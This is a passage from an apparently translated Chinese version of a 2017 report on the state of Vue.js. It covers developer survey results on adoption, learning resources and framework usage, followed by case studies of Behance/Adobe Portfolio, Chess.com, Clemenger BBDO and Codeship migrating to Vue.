Vue.js,它真的是个很棒的工具,无论是对于小型的应用来说还是大型应用而言,想要扩展都不太难。 > > —— 软件开发,小公司,菲律宾 #### 有哪些建议是你想对 Vue.js 提的吗? 对于这个开放式问题,我们收到了 481 份有效回答。由于有些建议被 20 多人提到了,因此我们决定列举几项比较共性的建议,再开放个单选题。 缺乏 Vue 相关的原生开发解决方案是几个最大的问题之一,24% 的回复者都同时提到了这点。毫无疑问地,**Vue.js 需要更先进完善的移动端解决方案**。 15% 回答这个问题的都指出 Vue 还有个不足是其**生态环境相对较小**。如果其生态环境能更强大的话,它一定能孕育出更为优秀的组件库。 除此之外, > **随着下一版 CLI 的更新,Vue 的工具也会得到改善**,尤雨溪如此保证。 在这些回复中,还有人提到说 Vue 缺少一些官方教程(一个回复者称为《 Vue 圣经 》),或者一份能提供更多现实案例,特别是针对复杂应用的指导手册。Christ Fritz 指出, > **现在已经发布的[官方风格指南](https://vuejs.org/v2/style-guide/)某种程度上来说可作为 Vue 圣经,但在开展调研那时还没提供。** 同时还有个建议是, **该框架需要一份更完善的文档**。有 53 个回复者提到了和该建议直接相关的一些问题(比如建议多提供些用 Vue 构建一个大型应用的架构设计文档),以及和该建议并不直接相关的问题,比如一些他们错误地认为不能用 Vue 解决的问题。有两个问题被 20 多个回复者都指出了,一个是需要加强测试工具,另一个是需要**优化核心库**。 **对 Vue.js 的建议** ![](https://i.loli.net/2017/11/01/59f977f3035c6.png) - 需要更先进完善的 Vue 原生应用客户端解决方案 116票 - 需要更强大的生态环境,能提供更优秀的组件库和工具组 74票 - 需要官方教程以及其它相关学习资源,以期提供更多现实案例和最佳实践(特别是复杂应用相关的) 67票 - 需要更完善的文档,以便更顺利地开发应用 53票 - 需要更棒的测试工具和库 37票 - 优化核心库 21票 > 我们将在十一月起认真撰写使用手册,以便为构建大型应用、通用集成方案、架构设计探索等问题提供示例。 > > —— Chris Fritz #### 开发下一个项目时,你有多大可能会再次使用 Vue? 超过 **95% 的回复者声称他们在下一个项目中还会使用 Vue**。许多开发者明确表示他们使用过该框架后,之前的顾虑都不再是问题。即使他们还是指出了它的一些不足和值得改进之处,但几乎所有人在用过该框架后都对其称赞有加。同时绝大多数回复者选择在下一个项目中依然使用 Vue。 **在下一个项目中会使用 Vue 的可能性** ![](https://ooo.0o0.ooo/2017/11/01/59f98213a9d6f.png) - 5(非常高)82.9% - 4 12.5% - 3 3.5% - 2 1% - 1(非常低)0.1% #### 你所在的组织机构使用 Vue.js 有多久? 随着 Vue 社区的逐步壮大,精心打造的相关项目在世界各地层出不穷,同时它也跻身于 [GitHub 上星数排名前十的仓库列表](https://github.com/search?p=1&q=stars%3A%3E1&s=stars&type=Repositories),Vue 愈来愈受到普遍认同。**超过 3/4 的回复者在近一年内将 Vue.js 加入了他们的技术栈中**。 我们可以预见在未来几年内使用 Vue 的开发者数量会飞速上涨,同时该框架自身也在不断变得成熟,其生态环境将不断强大,也会有越来越多的使用案例。 **你所在的组织机构使用 Vue.js 有多久?** ![](https://ooo.0o0.ooo/2017/11/01/59f984a53aeeb.png) - 少于 6 个月 45% - 6–12 个月 34% - 1–2 年 19% - 超过 2 年 2% #### 学习 Vue.js 时你会使用哪些资源? **官方 Vue 文档是最普遍使用的参考资源。** 94% 的软件开发者都勾选了它,这也说明了,一份深思熟虑后发布的文档是学习任何框架的主要资源。另外,70% 受调研的软件开发者还选择了线上文献、技术博客、一些社区像是 StackOverflow 或者官方 Vue 论坛等作为知识来源。线上课程受到了 41% 开发者的青睐,而选择了在职培训、相关书籍的只占 1/4 不到。 **Vue.js 的学习资源** 多项选择,结果总和超过 100% ![](https://ooo.0o0.ooo/2017/11/01/59f987f910880.png) - 官方文档 94% - 线上文献及博客 78% - 线上社区(比如 StackOverflow、Vue 官方论坛) 72% - 线上课程 41% - 在职培训 22% - 书籍 12% - 其它 5% #### 你觉得你所在的组织机构中使用 Vue.js 的员工比例会在一年内增长吗? **54% 的回复者相信 Vue.js 在未来一年中,将在其组织里变得愈发流行。** 然而那些在大型企业(超过 1,000 员工)工作的开发人员更确信 Vue 在其公司会被广泛接受:76% 的受调研者勾选了赞同。 **使用 Vue.js 的员工比例会上升吗** ![](https://ooo.0o0.ooo/2017/11/01/59f98810daa31.png) - 5(绝对会)33% - 4 21% - 3 24% - 2 11% - 1(绝对不会)11% > 公司的其它项目都打算使用 Vue(甚至已经开始用了)。 > > —— 软件开发,大型企业,法国 > 我们在疯狂扩招,有非常多的项目将要涌现。这些项目都会使用 Vue.js 来开发。 > > —— 技术总监,大型企业,德国 #### 你主要使用的前端技术和框架是哪些? **主要使用的前端框架** 多项选择,结果总和超过 100% ![](https://ooo.0o0.ooo/2017/11/01/59f9883bf1687.png) - Vue.js 33% - Angular 21% - ReactJS 24% - 其它 11% - Backbone 6% #### 你主要使用的后端技术与框架是? **主要使用的后端语言与框架** 多项选择,结果总和超过 100% ![](https://ooo.0o0.ooo/2017/11/01/59f98eac1734c.png) - PHP 53% - Node.js 45% - Java 18% - C#/.Net 17% - Python (Django、Flask等框架) 17% - Ruby (Rails等框架) 10% - 其它 8% ### 受调研人员数据 我们对来自 88 个国家的 1,126 名熟悉 Vue 的软件开发者、CTO、以及其他相关技术人员进行了调研。 **公司规模(员工数量)** ![](https://ooo.0o0.ooo/2017/11/01/59f98f1be43bd.png) - 小型企业(少于 100 人)77% - 中型企业(100-999 人)15% - 大企业(超过 1000 人)8% **团队规模(组员数量)** ![](https://ooo.0o0.ooo/2017/11/01/59f98f761c64e.png) - 小团队(2-10 人)73% - 个企 17% - 中型团队(11-25 人)8% - 大型团队(超过 25 人)2% **在组织中担任的职能** ![](https://ooo.0o0.ooo/2017/11/01/59f98fcd2ddaf.png) - 软件开发 66% - 技术主管 20% - 其他技术人员 8.5% - 项目经理 4% - 其他 1.5% ## 案例研究 起草这份关于 Vue.js 现状的报告,是想通过大量的数据来证明,Vue 已被不同种类、不同规模的公司采用,已然成为了一门成熟的技术。每一个研究案例都证明了 Vue 是足以应对商业用途的。我们采访了六家公司,他们都曾面临着选择一套合适框架的挑战,即使他们处在不同的发展阶段,也有着不同的目标,但是他们最终都选择了 Vue。 在 Codeship 和 Vue 结合之前,他们的用户忍受着卡顿甚至是浏览器崩溃。太多的用户对他们的应用程序心有不满。他们的故事很好地证实了,Vue 可以有效地帮助构建安全、可靠、易维护且具有防御性的应用程序。 如果你正在寻找 Vue.js 的优秀企业级案例,那么 Behance 和 Adobe Portfolio 的案例就可以派上用场。他们的团队使用 Vue 零基础地建立了两个独立的产品,而且不会止步于此。 在 Livestorm 案例中,Livestorm 联合创始人兼 CEO Gilles Bertaux 描述了他们如何从零开始创造一个可盈利的产品。得益于 Vue 及其可复用的组件,他们的开发速度更快也更容易。 GitLab 的前端 Leader Jacob Schatz 解释了为什么他们决定从 jQuery 技术转移到 Vue.js,同时分享了他们遇到的主要挑战。他们专注于更好的 UX (用户体验),这使得他们的产品更为理想,销量也因此提升了。 Chess.com 则不得不处理 Angular 1 项目中难以维护的遗留代码。他们发现,Vue.js使得 15 位远程开发人员的团队协作更容易。Chess.com 是一个服务全球 1900 万用户且拥有大规模基础设施的平台。在他们的案例中,你将了解 Vue.js 是如何化解了他们的难题。 最后一个案例与其他案例大有不同。墨尔本 Clemenger BBDO 的技术主管 Sylvain Simao 介绍了如何用 Vue.js 开发 4 到 12 周的短期项目。应对紧张的交付周期、大量的动画和特效需要实现、活动页面的高性能要求是他们面临的最大挑战。 ### Behance 和 Adobe Portfolio **Behance** 是展示和发现创意作品类在线平台中的引导者。 **Adobe Portfolio** 可以让(用户)打造自己专属创意作品展示网站的定制平台。 > 我们曾因为当时并没有太多大公司使用 Vue 而犹豫。但是,每当我遇问题(通常都是因为我的多虑),Vue都可以很容易的解决,这让我感到惊喜。 > > —— > Erin Depew, Behance 软件工程师 > Yuriy Nemtsov, Behance 软件工程师兼经理 > Matt O'Connell, Adob​​e Portfolio 软件工程师 #### 挑战 从自产解决方案转移到开源技术。 保持良好的用户体验和高性能。 能够在其他团队和项目之间共享组件。 #### 解决方案 将 Behance 和 Adobe 前端团队转型到 Vue.js。 使用 Vue.js 来迁移现有的代码库。 #### 成果 可以不紧不慢地迁移网站,而无需从头开始。 轻松整合现有代码库。 高性能,低成本。 ### 挑战 Behance 是 Adobe 旗下的一家子公司,多年来他们一直在利用最新的技术和设计思想创造能够联结并壮大创意世界的革命性的产品。 该团队已决定使用开源框架,因为他们开始受限于目前已经使用的自产技术。 > Yuriy 解释说,在 Vue 之前,我们一直在使用自主研发的一个 MVC 框架,它依赖于 Hogan.js(mustache)和 jQuery。我们的框架无法以声明方式渲染 DOM,这迫使我们只能手动同步数据到 DOM 上。它也无法将功能抽离成组件,控制单向数据流,也没有全面的文档。所以尽管已经使用了几年,我们还是决定转向一个可以让我们能够快速构建,减少出错,降低成本,快速上手的技术方案。 ![](https://i.loli.net/2017/11/02/59faea0ada687.jpg) > Mustache 对我们特别重要,因为当时我们在前后端使用了相同的模板(现在多数 behance.net 的项目中依然如此)。利用 Mustache 将首屏快速提供给浏览器对于我们和用户都是非常重要的。如果我们等待浏览器下载 JS,解析,编译和执行它,然后才将页面显示给用户,要想达到与使用 Mustache 时同样的速度是非常困难的。我们也特意寻找过具有服务器端渲染功能的框架。 对于 Behance 团队,首要目标是构建一个易用的代码库,并为今后添加的新功能打下坚实的基础。 > 我认为我们面临的最大挑战就是,由于我们决定不拆分我们的代码库并从一个新平台开始,我们不得不花费大量的时间抽离旧的代码来形成新的组件。Erin 补充说,既要用 Vue 重构旧代码并保证网站其余功能正常运行,又要实现新功能,如何权衡这两件事确实是个挑战。 > 我们非常重视 Behance 的性能,所以我们非常小心,以确保在迁移代码库的同时保持性能指标。 对于 Matt 和他的团队来说,用户体验也是很重要的一点,并且有很大的改进空间。 > 关于 Adobe Portfolio,我们一开始使用 nbd.js,这是一个从原本我们已经不再维护的产品中提取出的 Backbone 自定义版本,称为“在线操作”,我们用它来构建 Behance 网络的模块。Matt 补充说,它对反应式系统有限制,因此我们使用 Ractive 构建了“反应性”部分。 > 就 Behance 的情况来说,迄今为止最大的挑战就是,在复杂的用户数据状态管理下保持快速的用户体验,同时保证站点的内容和样式的即时反馈。 ### 解决方案 Adobe Portfolio 和 Behance 重新培训其现有的团队使他们可以在日常工作中使用 Vue.js,而不是重新组建一个只关注于 Vue.js 的新团队。 > 在我们切换到 Vue 之前,绝大多数的团队都在这里。一旦我们决定采用 Vue,我们需要一些小项目来练手。对我们来说,只需要非常小,只有前端功能且不公开访问的站点即可,就像我们的样式指南。这样,我们可以学习如何使用 Vue,如何编写测试,并相对安全地对组件进行风格化。只有这样,我们才能安心投入更大的项目。我们于是就用 Vue 开始打造 Behance Live,Yuriy 回忆说。 ![1509617601(1).jpg](https://i.loli.net/2017/11/02/59faefebec94a.jpg) > 在 Portfolio 项目中,我们 9 人的前端团队都开始使用 Vue。我们的一些后端开发人员也开始学习 Vue。 Matt 解释说,Behance 产品中约有8位前端开发人员在使用 Vue 进行开发。 > 两个团队确实有一些功能上的重叠(Adobe Portfolio 和 Behance)。Erin 补充说,我们在代码库之间共享了许多库和 API,而且一些功能的展现通常需要两个站点一起合作。 Behance 团队在定义如何构建应用程序的一般方法以及如何定义不同组件的角色方面遇到了许多挑战。 > 对于比较大的应用程序,vuex 存储区也很难构造。我们决定使用命名空间模块。一开始我们不清楚每个路由/页面或数据类型(例如用户或项目)是否应该存在单个存储模块。创建特定的路由存储意味着跨路由的操作将不可重用。对我们来说,使它们具有数据特性是最好的解决方案,其中包含一个顶级路由存储模块,它结合了路由所需的模块。但是,这个解决方案还不够完美。Yuriy若有所思地说。 > 为了定义各种组件的角色,我们区分“页面”组件(路由器指向的第一个组件,也是与 vuex 交互的组件)和木偶组件(仅将属性发送到子组件,将事件传输给父组件)。 使用 Vue.js 将近 1 年后,Matt 和他的团队终于构建和重构了一堆功能。 > 在 Adobe Portfolio 中,我们从内容管理功能入手。内容管理允许用户可以在自己的 portfolio 网站上进行重新排序,添加,删除等操作。根据需求,我们构建了可复用的 UI 组件,如选择下拉列表,浮窗,切换控件和拖放列表,Matt 说。 ### 成果 据 Erin 介绍,由于 Vue 具有先进性和灵活性,Vue 易于和 Behance 现有的代码库集成。 ![1509617746(1).jpg](https://i.loli.net/2017/11/02/59faf0615bbaf.jpg) > 我总是说,每个框架仅仅是另一个工具而已。然而,除了更新快和易阅读的文档之外,使用 Vue 的最大好处就是可以将其集成到现有的代码库中。与其他基于组件的框架不同,Vue 给予我们在现有的页面嵌入组件的能力,使我们能够以自己节奏更新站点,而不是全部替换。 > 我会说 Vue 超出了我们的期望。我们曾因为并没有太多大公司使用 Vue 而犹豫。但是,每当我遇到问题(通常都是因为我的多虑),Vue 都可以很容易地解决,这让我感到惊喜。她笑着说。 > 目前,我们正在计划将我们的整个 Behance 代码转换为 Vue,当然,也在推荐 Adobe 的其他团队使用 Vue。 Yuriy 认为,Vue.js 提供给开发人员的可能性与其他框架一样多。然而,与一些框架相比,它使开发更容易...也更便宜。 > 我不敢说 Vue 能帮你做一些其他的框架做不到事情。但是,使用 React 的话,提升 SSR 的性能确实事件很难的事。在使用 Fiber 重写(React v16)之前,一个具有巨大组件树的页面将阻塞主线程,反过来说,这就意味着如果需要 100ms 来渲染一个页面,那么 Node 服务器的所有其他客户端就只能等待。因此,我们需要增加单个服务器的进程数量或增加服务器数量来提高吞吐量。这很难维持,而且非常昂贵。Vue 的 SSR 情况就强大很多。Vue 有内置缓存和流式传输,因此即使不做大量优化,Behance Live 的性能也很好。 > 使用 Vue.js 绝对与使用其他框架不同。不知何故,你会爱上他的。 ![1509617816(1).jpg](https://i.loli.net/2017/11/02/59faf0a462160.jpg) ### Chess.com Chess.com 是排名第一的在线国际象棋网站。来自全世界各个地方各个段位的棋手每天要对弈超过 100 万局。Chess.com 是由 100 位成员组成的完全远程工作的团队。 > 这是我第一次一口气阅读完整的文档。现在是凌晨 1:30。当我看完时,我知道了 Vue.js 是个特别的东西。它有一些独特之处。一些我从来没有见过的东西。 > > Scott O’Brien,Chess.com 首席用户体验工程师 **挑战** 处理难以维护的 Angular 1 遗留代码。 引入新特性以增加用户参与度。 在一个完全分布式的开发团队中管理变更。 **解决办法** 对所有可用的框架进行基准测试。 从 Angular 1 迁移到 Vue.js。 构建日益增长的组件库(连同它的模块化 CSS)。 **成果** 使得全远程的团队合作更加愉悦。 app 内编写 CSS 更加高效。 与其他框架相比,在速度、能力和抽象方面更有效地进行扩展。 #### 挑战 Chess.com 是国际象棋领域中访问频率最高的网站,拥有多达 1900 万成员庞大的社交网络。它有新闻,博客,社区,教程,谜局,当然也包括实时对弈。网站门户的复杂性是巨大的。 遗留代码是用 PHP 和 Angular 1 编写的。任何时刻,Chess.com 都承载着网页上或手机上成千上万的实时对战游戏。对于这样一个网站来说,性能是第一位的。 > 我们已经知道使用 Angular 1 是一个巨大的性能瓶颈。这个问题会变得越来越大。从性能角度来看,我们网站的有些部分在一些传统的硬件设备上已经变得无法使用。它是无法维护的,Scott 回忆说。 Chess.com 面临的挑战不仅是处理现有的功能,也包括对新功能的规划 ![](https://ooo.0o0.ooo/2017/11/03/59fc0a031aef2.jpg) > 大部分讨论都是关于架构,因为我们知道需要加入很多新的功能以保证用户下更多的棋并尝试各种不同的下棋方式,Scott 解释说。 > 我不是说用 Angular 就做不了,只是用这些过时的 javascript 框架很难做到。 为了提高用户体验, Chess.com 需要做一些真正的改变。 > 我知道我们需要一个质的飞跃。从 Angular 1 迁移到哪个框架让我们深思熟虑。当然,我们有考虑过两位大佬:Angular 2 和 React。 庞大的基础设施和持续的产品开发需要一个组织良好且规模庞大的团队。 > 在我们的开发团队中,有各种各样的技术栈。此外,我们的团队是完全分布式和国际化的。任何像技术迁移一样重要的决定都会引起很多人的关注。 #### 解决办法 选择一个由 Facebook 或 Google 支持的框架,如 React 或 Angular,相对来说,貌似是一个比较安全的选择。但是,Vue.js 社区证明这个新来者无疑是一个强力的竞争者。 > 我们是如此的关心性能以至于我们可能会选择对开发者不那么友好但基准测试看上去不错的框架。看到 Vue.js 赢得了渲染和性能的基准测试是振奋人心的,Scott 解释到。 > 我们担心的是整个 Vue.js 是建立在 Evan 的想法上的,这个框架的生死都由他主导。我们决定只要社区发展迅速并且我们相信他们在做一些革命性的事情,我们就会带头并确信其他人在将来会看到它的价值,正如我们现在看到的一样。所以最大的问题是,它是否会继续发展,我认为这已经被证实了。 Chess.com 团队首先要做的事情之一就是将不同的页面从 AngularJS 重写为 Vue。 > 重写工作现在仍在进行,目前已经持续了数月。我们的另一个任务是构建我们内部的可重用组件集,Scott 指出。 ![](https://ooo.0o0.ooo/2017/11/03/59fc0a6a4a369.jpg) > 我认为用 Vue 构建一个不断增长的组件库是一件非常酷的事情,每个组件都有自己的模块化 CSS,这些组件最终会构成我们网站上的全部用户界面元素。一个团队一直在用 Vue 来实现特定产品领域的 components、routes 和 stores,而另一个团队一直致力于构建全站共享的组件库,几乎不用担心产生冲突。此外,它还使我们的产品讨论更加抽象和复用。 #### 成果 对于一个像 Chess.com 这么大的应用来说,Vue 带来的好处远远超过其他。 > 单个文件组件绝对是构建和维护我们库的不二法则,这样使得团队能够仅仅在有官方的状态管理系统的框架部分中进行投入。我们相信这些事情会一起工作——这都是集体愿景的一部分。 有了 Vue.js,Scott 发现与远程团队合作起来更加容易了。 > 他指出,我们对Vue的热爱在于,它具有难以置信的易用性和低的入门门槛,同时具备拓展能力,与其他组件库相比,有相当的(如果不是更好)能力、速度和抽象性。 > 我们是一个完全由15个开发人员组成的远程团队,我们非常依赖 Slack, Jira 和 GitHub。然而,在 Vue 中更容易进行协作,因为它与我们的遗留代码没有太大的区别——仍然有声明式模板以及我们习惯的所有内容。 > 其次,编写 CSS 的便捷性令人惊叹。它给我们带来了巨大的利益。我们有许多开发人员说着不同的语言使用不同的编程风格,他们只需针对特定文件中的标记来命名,而不需要担心全局名称空间的名称冲突。使用方便的感觉是如此美妙。 介于 Vue 给 Chess.com 团队提供了巨大的支持,未来他们无疑将会继续使用它。 > 我们现在都在用 Vue.js!正如我说的,我们的工作分两部分:重构我们的组件,从 Angular 1 迁移。因此,我们同时用两种完全不同的方式实现,这是值得骄傲的。 ![1509690042(1).jpg](https://ooo.0o0.ooo/2017/11/03/59fc0ac62efa9.jpg) ### Clemenger BBDO Clemenger BBDO 是一个全方位的服务机构,提供包括品牌战略、综合创意开发、CX、数字服务、CRM、PR、设计、顾客和激活的全套功能 在过去的12个月里,在戛纳广告奖和创意奖上,它被评为世界上最具创意的机构。 我们决定选择 Vue.js 因为它满足了我们的项目提出的所有需求,同时为我们的团队提供了一个舒适的开发环境。它非常接近于原生 JavaScript,因此很容易上手。 > Sylvain Simao, Clemenger BBDO 技术总监,墨尔本 **挑战** 项目周期短(4 到 12 周),由多人完成开发。 使用动画和过渡效果。 移动设备上加载和运行速度要快。 **解决方案** 对静态页面使用 Vue.js 的预加载方案 构建ES6模块而不是框架特定的代码。 **成果** 按时交付多个成功的互动活动。 高流量的数字项目。 快捷的入职培训和项目初始化。 #### 挑战 Clemenger BBDO 大多数项目是活动网站。他们大部分是前端的(包含小部分后端),大多数项目使用的是无服务器的方式、API、AWS 服务等。 由于同时需要开展多个有着严格工期的项目,Clemenger BBDO 必须设计出一套标准的可以显著提高开发速度,且要有足够的灵活性,可以用于不同的项目之中的方案。 > 作为技术领导,我需要记住的一件事情是我的团队在短时间内交付高端的高质量项目的能力。我们是一家广告公司,这意味着一个为期3个月的项目真的很长,Sylvain 解释道。 > 快节奏的环境意味着我们需要人们能够快速地投入到新的工具。有时我们也需要与外部承包商合作,所以对于我们最完美的方案是那些很容易学习和用于工作的东西。Vue在工作流程方面给了我们很大的灵活性——例如,能够与已经知道的 HTML 和 CSS 的预处理器一起工作是一个很大的优势。 在客户端项目上,Sylvain 和他的团队使用了不同的 JavaScript 框架。 > 我觉得我们都试过了! Sylvain 笑道。 > 我们尝试了一些框架,比如 Angular,React,和 Riot.js。但是 Vue 最终得到了我们的青睐。Vue 即简单又不失健壮。对我们来说,这是一缕新鲜的空气。它有一个丰富的生态系统,而且它是一个渐进的可采用的工具,使它成为我们所要交付的工作类型的完美工具。 交互式活动网站到处是挑战。 > 您必须处理 SEO、可访问性和浏览器兼容性,但同时也要实现一般的动画、过渡和很多交互界面。这些无疑是我们工作中最具挑战性的方面。 #### 解决方案 由于其流畅的学习曲线,Vue.js 可以很容易让新开发人员或外部承包商使用。 > 我们注意到 Vue.js 在培训新手方面表现很不错。为什么?因为学习曲线非常平滑,非常接近原生 JavaScript,Sylvain 说。 > 对我们企业来说,它真的很棒。人们可以很快获得最新的速度,我们可以更有效率地交付。另一个值得注意的一点是,Vue 的官方文档和资源的质量令人难以置信。它可能应该得到一个最容易理解的框架文档奖! 对于每一个 Clemenger 服务的网站来说,重要的是 SEO。 > 对于这个特定的问题,我们为我们的所有页面做预渲染。大多数时候,当我们有一个新的项目需要 Vue.js 的时候,我们从基于官方 Vue webpack 模板构建的样板开始。然后,我们使用像 PhantomJS 或 Prep 这样的库来呈现页面的静态快照。最后,通过使用 Nginx 或 Lambda@Edge 等用户代理工具,很容易将这些页面提供给爬虫。 Sylvain 使用 Vue.js 来处理动画和过渡效果。 > 现在我们正在改变我们实现动画的方式。自从 Vue 的最新版本发布以来,现在的过渡效果有了更多的灵活性。我们现在有了一个更细粒度的转换钩子,这使得可以触发第三方库并实现复杂的动画,同时核心仍使用 Vue。我正努力推动我的团队走向那种模式。 对于 Airbnb 的活动设计--“Until we all belong”,技术选型是 Vue.js。 ![1509690301(1).jpg](https://ooo.0o0.ooo/2017/11/03/59fc0bc9c12ea.jpg) > 该项目最初设计为一个单页面应用,基于 Vue 和 webpack。为了提高效率,web 页面托管在 Amazon S3 bucket 中,这意味着我们不能使用任何服务器端渲染。UI 的每个部分和每个页面都是使用 Vue 单个文件组件构建的。在这样一个预期会有大流量的网站上,性能是关键,这就是为什么所有东西都按需加载。我们的一个项目记录到了每分钟 6000 个的访问量——是非常大的。我们需要做好准备,Sylvain 解释道。 > 在这种情况下,Vue.js 是救星。对于 Airbnb 项目,背景中有很大的图片资源需要加载以及应用动画。为此,我们使用 Vue-router 来声明需要预加载的资源或数据,而 VueX 则负责跟踪每一页上的内容。这个项目在交互方面也很有挑战性,但我们在6周内就成功发布了这个网站。 ![1509690342(1).jpg](https://ooo.0o0.ooo/2017/11/03/59fc0bf296b5a.jpg) #### 成果 使用 Vue.js 来按时交付项目要容易得多。 > 如果不是 Vue,我们就不会那么快了。主要是因为 API 的简单性。我们最近开发了一个基于 Angular 2 的混合应用程序的原型,语法很优雅,但学习曲线很陡峭,简单的事情也需要时间。有了 Vue,你可以快速地实现原型,这可能是它最大的优势。 有了 Vue,Clemenger 团队能够处理各种不同的项目。 > 我们现在有相当多的项目建立在 Vue.js 之上。“Airbnb’s Until we all belong”,一个澳大利亚的婚姻平等活动,已经获得了一些行业奖项,包括 AWWWARDS 和 CSSDA。另一个项目--Meet Graham which introduce the only person designed to survive on our roads, Graham。在第一周内,该项目记录了超过 1000 万的页面浏览量,并获得了身临其境的公认和媒体报道。它备受好评,并获得了众多奖项,包括 2017 年戛纳国际电影节大奖。我们最近的一个项目是 Snickers Hungerithm,这次我们决定用 Vue 重写活动应用用于全球推广。Hungerithm 是饥饿识别算法,可以通过推文来监控在线情绪。当饥饿度上升时,士力架的价格就会实时下降。 ### Codeship Codeship 是一个持续集成平台,它可以让你在云端放心地发布你的应用。在 Codeship 上的开源项目总是免费的。 > Vue 给了我们做任何想做的事情所需的灵活性。它打下了坚实的基础,因此我们可以用任何我们喜欢的方式去扩展它,它不仅仅是我们用来完成目标的工具。这是我们非常喜欢它的理由。 > > 来自 Roman Kuba ,Codeship 前端 Leader。 **挑战** 应用内的冻结和崩溃。 使用 Angular 进行单元测试非常困难。 雄心勃勃的新功能计划以及构建新的,复杂的东西。 **解决方案** 构建一个概念验证( Proof of concept ),并以此说服其他开发人员去尝试一下 Vue.js。 只接受验收测试。 重构以及重写页面。 **产出** 自从 Vue.js 实施以来,没有发生任何应用程序崩溃的现象。 牢固(Bulletproof),可靠,易于维护的代码。 得到客户满意当前用户体验的正面反馈。 #### 挑战 Codeship 是 2010 年推出的一款 CI 平台,被 CNN,Red Bull 和 Procuct Hunt 等公司使用。 他们的技术栈中包含了 jQuery 和 CoffeeScript,他们为全球开发者建立了一个成功的平台。 但随着时间的流逝,这个团队意识到是时候该去找一个新的技术去支撑更久远的发展以及促进更复杂东西的建设。 > 给你一些观点 —— 大量的客户在他们的日常操作中依赖着 Codeship。当我们正在开发一个新功能时,通常可能需要四个月的时间,不知为何,这样总感觉不太好,就好像我们正在从顾客那里拿回什么东西。但如果我们花两个月的时间去开发功能, 就反过来了,这往往意味着两个月的痛苦并且对客户不负责。快速而可靠的提供产品对我们来说至关重要。Roman 这么说。 ![1509692542.jpg](https://ooo.0o0.ooo/2017/11/03/59fc15158019e.jpg) > 我们拥有能够完整接收终端输出的页面作为我们用户的可读日志,这样他们就可以看到什么样的测试通过了以及测试的信息。像我们之前的产品使用 jQuery,因为一些变得越来越复杂的原因,不得不将它砍掉,对比很明显。Roman 反映道。 > 接下来的六个月里面我们使用了 Angular 1。 仅仅是因为我们对它比较熟悉。 公司切换到了 Angular 而且适应的很好。然而随着服务的增长,我们发现坚持使用它从长远的角度来讲是不太可能的。 > 我们一直试图去改善的一个东西是性能。这是 Angular 里面的一个超级大问题。我们在构建的页面上需要展示的数据量远远超过了 Angular 的能力上限。客户们纷纷报告严重的问题 —— 页面无响应,有些人甚至遭遇了冻结和浏览器崩溃的现象。 即使如此,Roman 还是不想马上放弃 Angular。 > 当然,我们已经尽力去优化了。我甚至尝试将一部分的渲染工作移出 Angular 的默认渲染列表并用原生的 JavaScript 代替,但是并没有什么用。Roman 叹了口气。 > 在某一时刻, Angular 试图通过跟踪页面的范围并运行相关的 digest cycles 来把握页面上的变化。。。 这很影响性能,我们尝试去消除这一影响,但没什么用,它没有办法顺利地运行。 Codeship 面临的另一个重大挑战是改进测试过程并使应用程序变得更加可靠。 > 我们在使用 Angular 的时候还是会尽可能地利用验收测试。我们基本上会把整个应用里的用户故事都给测试一遍。使用 Angular 本身进行单元测试以及单独测试组件,模块或控制器是非常痛苦的。它几乎给不了我们所需的全部画像。Roman解释说。 #### 解决方案 得到工作人员的认可以及 VPE 的批准是从 Angular 转型的第一步。 > 起初,让所有人都同意去使用 Vue 是一场艰苦的斗争。这个团队之前从来都没有听过它,他们只知道 Angular 2 以及 Google 正在抛弃它,还有 React 和它背后的 Factbook。Roman 说。 > 在团队会议中,第一个问题通常是关于 Vue.js 社区的规模,大家想知道如果在开发过程中遇到问题,他们是否能够得到来自社区的帮助,因为我们的大部分员工都是做后端的,他们更想要坚持选择他们所能听到的可信赖的名字。 Roman 决定用他的知识和调查结果来说服他们转移到 Vue.js。 > “我做了一些样例和一个内部演示,至少要让他们相信这个决定以及决定背后的理由” 他说 “如果你简单地阅读过 Vue 的源码,你会发现独立去扩展这些代码并不困难。它不像 Angular 或者其他类似的沉重的框架。” 在 Codeship 直接投入开发之前,他们需要一个概念验证。 > 当时我对 Vue也没有太多的经验,我对框架中涉及到的技术了解十分有限。但是,从 Vue 开始似乎毫无费力,我很快就意识到这是一个针对困扰我们大多数问题的解决方案。只用了一个晚上左右,我就用 Vue 重构了一个关键部分并试图使用大量的 Loglines 作为概念验证。 ![](https://ooo.0o0.ooo/2017/11/03/59fc15add61e8.png) 然后我对所有的代码做了CPU性能分析,这件事立即向我的团队证明了 Vue.js 已经给我们带来了巨大的性能提升。我们将渲染时间从30秒缩短到了7秒左右。Roman 回忆到。 概念验证在手,Roman 和它的员工终于可以开始向 Vue 过渡了。 > 我们试图移走概念验证并用 Vue 代替我们现有的系统。这里头的实际风险非常小。我们有一个对用户来说正处于崩溃的系统,所以,还会有什么更糟糕的事情会发生?Roman 笑道。 > 我通过花了一个礼拜的时间重构并重写页面,然后将它发给用户来获取反馈来快速验证工作的可行性。只过了一天的时间,我们就发现过去困扰我们的问题全部都消失不见了,甚至是在有 15 Mb 日志呈现的情况下。在渲染时间在 30 到 40 秒之间(我们正在努力进一步减小这个数字),应用在所有的浏览器上都能够出色的运行并且没有被我们记录到任何一次崩溃。 ![](https://ooo.0o0.ooo/2017/11/03/59fc15e8cc1c8.png) 抛弃验收测试使整个测试部分变得更加愉快和可靠。 > 我们抛弃了验收测试,开始考虑我们可以得到什么,并使用 Jest 和 Vue 来测试。我们在 Vue 中使用多个组件,甚至是复杂的页面,但是只能通过 Jest 进行测试,因为我们有快照并验证渲染 HTML 是否是我们想要的。Roman 解释道。 #### 产出 一些很少做前端的工程师现在感觉有能力去接触一些代码片段了。 > Angular 和它的结构、模块、模型和控制器,以及几十个其他东西。。引入了不必要的高度复杂性。对于这些工程师来说,大部分名词听起来就像是奇怪的魔法一样。但是当他们真正地看到 Vue.js 的时候,他们能感觉到自己有能力去马上深入研究它。这对于我们公司来讲是一个非常大的胜利,Roman反映道。 Vue.js 帮助 Codeship 组织他们的代码并优化用户体验。 > 它可以帮助我们更快的交付所需功能,用户不需要为了他们需要的或者期望的东西来等待数个月的时间,他们非常喜欢这一点。我们的页面中有一个是基于 jQuery 运行的,它的结构非常奇怪。我们将它基于 Vue 重构了。现在,它提供了更加细化的体验和更友好的 UI 交互效果,因此,它显著地改善了用户体验。人们总是这样告诉我们。 > 使用 jQuery 的时候,代码非常混乱,难以和维护。而使用 Vue 的时候就不一样了,你可以利用它组件的强大功能和它的生态系统,比如 Vuex。我们现在正在做的是页面状态管理,这是我们以前从来没有完成过的,至少没有以这样一种干净的方式完成。 对于 Codeship 来说, Angular 测试是一个非常痛苦的过程。而用了 